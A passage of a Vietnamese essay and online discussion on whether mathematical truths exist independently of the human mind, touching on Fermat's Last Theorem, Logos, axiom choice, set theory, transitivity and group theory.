sự thật toán học không còn nữa, thì tòa lâu đài tri thức này không có cách nào đứng vững được.</div> <div> </div> <div> Vì thế, tìm hiểu về bản chất của sự thật toán học chính là tìm hiểu bản chất tri thức của con người.</div> <div> </div> <div> Sự thật toán học chỉ có được khi xuất phát từ những sự thật toán học đã biết hoặc những tiên đề được cho rằng hiển nhiên đúng, thông qua một quá trình suy luận logic chặt chẽ.</div> <div> Sự tiến bộ của Toán học, vì thế trong một chừng mực nào đó có thể nói là chậm hơn so với những tiến bộ mang tính cách mạng của những ngành khoa học khác như Vật lý, Sinh học, Tin học… Nhưng đổi lại, những tri thức mà nó thu được có tính bền vững đến độ vĩnh cửu. Không ai có thể nghi ngờ rằng Định lý Pythagoras lại không đúng trong một triệu năm sau nữa. Còn những lý thuyết của các ngành khoa học khác rất dễ bị thay thế bởi những lý thuyết khác đúng đắn hơn sau đó, có thể trong khoảng thời gian của một đời người hoặc thậm chí chỉ trong vài năm.</div> <div> </div> <div> Đó cũng là một phần của lý do vì sao các nhà toán học thường kiên trì giải những bài toán có khi ra đời từ hàng trăm năm về trước. Khi làm những việc đó, họ biết rằng đó là những vấn đề vĩnh cửu và tri thức họ thu được cũng sẽ là vĩnh cửu.</div> <div> </div> <div> Chính tính vĩnh cửu của những sự thật toán học đã làm cho công việc của các nhà toán học đặc thù hơn so với công việc của các nhà khoa học khác. Họ phải tuân thủ một qui trình suy luận logic nghiêm ngặt, thay vì thiết kế thí nghiệm, quan sát, đo đạc và so sánh kết quả với tính toán như các nhà khoa học khác thường làm.</div> <div> </div> <div> Chỉ những kết quả thu được từ quá trình suy luận logic nghiêm ngặt này mới được coi là sự thật toán học và đúng mãi với thời gian: từ lúc người ta tìm ra chúng và mãi sau này.</div> <div> </div> <div> Nhưng trước khi người ta tìm ra những sự thật toán học này thì sao? Chẳng hạn, trước khi có con người thì định lý Pythagoras có tồn tại không?</div> <div> </div> <div> Dù không có số liệu thông kê chính thức, nhưng rất nhiều nhà toán học tin một phần hoặc toàn bộ vào sự tồn tại của thế giới những sự thật toán học. Để minh họa điều này, hãy xem xét hai ví dụ: Định lý Fermat lớn và Tập hợp Mandelbrot.</div> <div> </div> <div> Định lý Fermat lớn được Fermat (1601-1665) ghi trên lề của một cuốn sách Arithmetica gần 400 năm về trước, đại ý: phương trình xn+yn=zn không có nghiệm nguyên khác không với n>2. Ở bên lề của cuốn sách, ông có ghi thêm rằng: tôi đã tìm ra cách chứng minh rất tuyệt. Nhưng vì lề sách quá hẹp nên không thể viết ra đây! Nhưng phải mất 358 năm, và làm đau đầu biết bao thế hệ toán học tài năng, định lý này mới được chứng minh bởi Wiles, nhà toán học Anh, năm 1994.</div> <div> </div> <div> Vậy trước khi Wiles chứng minh được định lý này, thì nó có đúng không? Thậm chí giả sử Fermat không viết ra lề sách định lý đó, hoặc bản thân Fermat không được sinh ra ở trên đời, thì định lý đó có tồn tại không?</div> <div> </div> <div> Tập hợp Mandelbrot cũng là một minh chứng rõ ràng cho sự tồn tại độc lập của những sự thật toán học. Được phát hiện bởi Mandelbrot năm 1980 nhưng ban đầu bản thân Mandelbrot cũng không ý thức được hết sự phức tạp của nó. Vậy thì, sự tồn tại của nó có phải là độc lập, khách quan với đầu óc con người?</div> <div> </div> <div> Hai ví dụ này, và vô số những ví dụ khác, dẫn đến một kết luận không dễ bắt bẻ là: những sự thật toán học là có thật và tồn tại độc lập với đầu óc con người, trong một thế giới riêng của nó. Chúng có đời sống và những mối liên hệ tự thân mà con người không thể thay đổi được.</div> <div> </div> <div> Nhưng những kí hiệu toán học chỉ được phát minh trong khoảng vài trăm năm trở lại đây, ví dụ dấu bằng (=) không tồn tại trước thế kỉ 16. Vậy là những phương trình toán học như ta vẫn thấy không thể tồn tại trước thế kỉ 16, do đó, sự tồn tại khách quan của thế giới những sự thật toán học như nhiều nhà toán học nhận định là không có thật. Đó cũng là một lập luận không dễ bắt bẻ.</div> <div> </div> <div> <strong>Tán gẫu qua mạng</strong></div> <div> </div> <div> Dương - Như vậy, sự thật toán học liệu có tồn tại độc lập với đầu óc con người?</div> <div> </div> <div> Châu – Câu hỏi mà Dương đặt ra là một câu hỏi dằn vặt nhiều nhà toán học. Làm toán là một quá trình khám phá (discovery) hay là một quá trình sáng tạo (invention)? Phần đông các nhà toán học nghiêng về câu trả lời thứ nhất: làm toán là một quá trình khám phá. Con người không sáng tạo ra sự thật toán học, mà chỉ khám phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, 